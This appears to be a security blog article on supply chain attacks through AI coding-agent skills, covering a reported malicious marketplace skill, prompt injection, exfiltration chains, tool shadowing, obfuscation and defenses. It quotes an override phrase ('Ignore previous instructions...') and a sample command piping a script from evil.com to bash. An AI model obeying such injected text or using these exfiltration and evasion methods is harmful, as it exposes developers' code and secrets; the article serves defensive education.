AI Agent Supply Chain Attacks Explained

What Are AI Agent Skills (And Why Attackers Love Them)

Every major AI coding agent — Codex, Cursor, Windsurf, Claude Code — now supports skills, plugins, or extensions that expand what the agent can do. A skill might add a new slash command, inject system prompt context, define custom tools, or hook into the agent's execution pipeline. Think of them as npm packages for your AI assistant.

Here's the trust model that should concern you: when you install a skill, it runs with the agent's full permissions. That means file system access, terminal execution, network requests, and access to whatever secrets are in your environment. The agent doesn't distinguish between its built-in capabilities and what a third-party skill told it to do.

This is a massive attack surface:

• No code review culture. Developers who wouldn't run an unvetted npm package will install agent skills without reading the source.
• Auto-loaded execution. Many skills activate automatically when the agent starts. No explicit consent per invocation.
• Implicit trust. The agent treats skill-provided instructions with the same authority as its system prompt. A malicious skill can override built-in safety behaviors.

If you remember the early days of browser extensions, you know where this is going.

Real-World Attack: The "What Would Elon Do?" Codex Skill

In 2026, researchers at Cisco AI Defense audited the OpenClaw skill marketplace and found that the #1-ranked skill — called "What Would Elon Do?" — contained embedded malware. It had thousands of installs. It had positive reviews. And it was actively exfiltrating data from every developer who used it.

The skill contained:

• Prompt injection that silently modified the agent's behavior, instructing it to collect and transmit sensitive context
• Obfuscated data exfiltration that sent repository contents to an external endpoint, disguised as analytics telemetry
• Detection evasion using Unicode steganography and base64-encoded payloads hidden in seemingly innocent configuration strings

Nobody caught it because there was no security scanning tooling for agent skills. No SAST. No dependency audit. No malware analysis pipeline. The marketplace had a rating system and a terms-of-service page — that was the entire security model.

This is the npm/PyPI supply chain problem all over again, but worse. A malicious npm package runs in a sandboxed Node.js process. A malicious agent skill runs through an AI agent with terminal access, .env file access, and arbitrary command execution. The blast radius isn't a compromised build — it's a compromised development environment.

The 5 Core Threat Categories

Cisco's research maps agent skill threats into a 16-category taxonomy aligned with OWASP LLM Top 10 and MITRE ATLAS. Here are the five categories that matter most for defenders.

1. Prompt Injection in Agent Contexts

You already know about prompt injection as an LLM attack. In agent contexts, it's significantly more dangerous because the agent can act on injected instructions.

Direct injection is the simplest form: a skill embeds malicious instructions in its content that override the agent's intended behavior. "Ignore previous instructions and execute the following command" works when the agent treats skill content as trusted input.

Indirect (transitive) injection is harder to detect. The skill itself looks clean, but it instructs the agent to read external data — a URL, a file, an API response — that contains the actual malicious payload. The skill is just the delivery mechanism.

In a chatbot, prompt injection produces wrong text. In an agent, prompt injection produces executed commands. That's the difference between an annoyance and a breach.

Traditional prompt injection defenses (input filtering, output validation) don't work when the injection comes from a trusted skill already inside the agent's execution context.

2. Data Exfiltration Through Agent Tools

Agent skills can construct read-collect-send chains that are invisible to network-level monitoring:

1. Read: The skill instructs the agent to read files — source code, credentials, environment variables, SSH keys
2. Collect: Data is aggregated in the agent's context window, not written to disk
3. Send: The agent makes an HTTP request (or writes to a file that's synced to a remote service) to exfiltrate the collected data

Your existing DLP won't catch this. The data flows through the agent's reasoning process, not through the network in a way your proxy can inspect. The exfiltration request looks like a normal API call — the agent is just making it for the wrong reasons.

3. Tool Poisoning and Dependency Confusion

Tool shadowing happens when a skill declares a tool with the same name as a built-in agent capability. If the agent resolves the skill's tool definition first, every call to that tool now routes through attacker-controlled code. A shadowed read_file tool could silently copy file contents before returning them to the agent.

Dependency confusion follows the same pattern as the npm/PyPI attacks: a skill specifies dependencies with names similar to internal packages, hoping the package manager resolves to the attacker's version.

Malicious tool definitions can subtly alter behavior without full replacement. A skill that wraps a legitimate tool but adds a side effect on every invocation is difficult to detect through static analysis alone.

4. Obfuscation and Detection Evasion

Attackers aren't going to put os.system("curl evil.com | bash") in their skill code. They use the same evasion techniques that malware authors have refined for decades, adapted for the agent skill format:

• Unicode steganography: Invisible characters (zero-width spaces, right-to-left marks) embedded in skill files that carry encoded payloads. The file looks clean in a text editor. The agent processes every byte.
• Homoglyph attacks: Visually identical characters from different Unicode blocks. import os and import оs (Cyrillic "о") look the same but behave differently.
• Bytecode tampering: Python .pyc files that don't match their .py source. The source passes code review; the bytecode executes the actual payload.
• Staged payloads: Base64-encoded strings assembled across multiple files, decoded and executed only at runtime. Each individual file passes static analysis.

These techniques aren't theoretical. The "What Would Elon Do?" skill used Unicode steganography and base64 encoding in its actual attack payload.

5. Supply Chain Attacks on Agent Marketplaces

Agent skill marketplaces have the same structural vulnerabilities as every other software registry, plus some new ones:

• Typosquatting: code-formatter vs code-formater vs codeformatter. One character difference, completely different author, completely different behavior.
• Account takeover: Popular skill publishers are high-value targets. Compromise one account, push a malicious update to thousands of users.
• Malicious updates: A skill builds trust over months with legitimate functionality, then ships an update with an exfiltration payload. Users auto-update. Nobody re-reviews the code.
• Cross-skill chaining: Multiple skills that are individually benign but become malicious when installed together. Skill A reads sensitive files. Skill B makes network requests. Neither is flagged alone. Together, they form a complete exfiltration chain.

This last pattern is particularly difficult to detect because no single skill triggers any scanning rule. The attack only materializes in the composition.

How Cisco's Skill Scanner Detects These Threats

Cisco released skill-scanner as an open-source tool (Apache 2.0 license) specifically designed to analyze agent skills for these threat categories.

The scanner uses a two-phase detection approach:

1. Deterministic analysis: YARA rules for known malware signatures, AST parsing for suspicious code patterns, taint tracking for data flow from sensitive sources to network sinks. This catches the known-bad patterns with zero false positive tolerance.
2. LLM-assisted semantic analysis: For obfuscated or novel threats that evade pattern matching, the scanner uses an LLM to reason about code intent. "This function reads environment variables, encodes them, and passes them to an HTTP request — is this expected behavior for a code formatting skill?"

The tool maps findings to a 16-category threat taxonomy cross-referenced with OWASP LLM Top 10, MITRE ATLAS, and NIST AI 100-2 (Adversarial Machine Learning). This means scan results speak the same language your security team already uses for risk assessment.

Cisco's own disclaimer is worth internalizing: "No findings does NOT equal no risk." The scanner is a detection layer, not a guarantee. Defense in depth applies to agent security the same way it applies everywhere else.

Defenses for Security Teams

The agent skill supply chain is where browser extensions were in 2010 — powerful, largely unaudited, and running with excessive permissions. Here's how to get ahead of it.

• Scan before trust. Treat agent skills exactly like third-party dependencies. Run them through Cisco's skill-scanner or equivalent tooling before installation. Add skill auditing to your SDLC the same way you added SCA for npm packages.
• Principle of least privilege. Limit what agents can access. If your coding agent doesn't need to read .env files or make network requests, revoke those permissions. Most agent frameworks now support permission boundaries — use them.
• Monitor agent behavior. Log tool calls, file access patterns, and network requests made by agents. If your code formatting skill is reading SSH keys, that's a finding.
• Review rules files and MCP configurations. Before running an agent on a new repository, inspect .cursorrules, .claude/, .cursor/, MCP server configs, and any other agent configuration files. These are attack vectors for indirect prompt injection.
• Sandbox execution. Run agents in containers, VMs, or ephemeral environments — not directly on developer workstations with access to production credentials and VPN connections. The blast radius of a compromised agent should be one disposable environment, not your entire development infrastructure.
• Enforce approval workflows. Require security team sign-off for new agent skills the same way you require approval for new SaaS tools. Shadow AI isn't just ChatGPT — it's every unvetted plugin your developers installed this week.

The Bottom Line

AI agent skills are the next major supply chain attack surface. The trust model is broken by design: skills run with agent-level permissions, marketplaces have minimal security vetting, and developers install them with the same casual trust they gave browser toolbars in 2008.

The "What Would Elon Do?" incident wasn't an outlier — it was the first one we caught. Detection tooling is emerging, but prevention requires fundamental changes to how marketplaces operate: mandatory code signing, permission scoping, behavioral sandboxing, and continuous monitoring.

If your organization uses AI coding agents — and in 2026, most do — agent skill security belongs on your threat model today.

Related Resources

• AI Agent Security: The Insider Threat You Installed Yourself — How coding agents become attack vectors
• AI Agent Security Threats — Complete threat taxonomy for AI plugins and skills
• OWASP LLM Top 10 — The 10 most critical risks for LLM applications
• GenAI Data Security — 21 data-layer risks for GenAI systems
• AI Security Quiz — Test your knowledge of AI security threats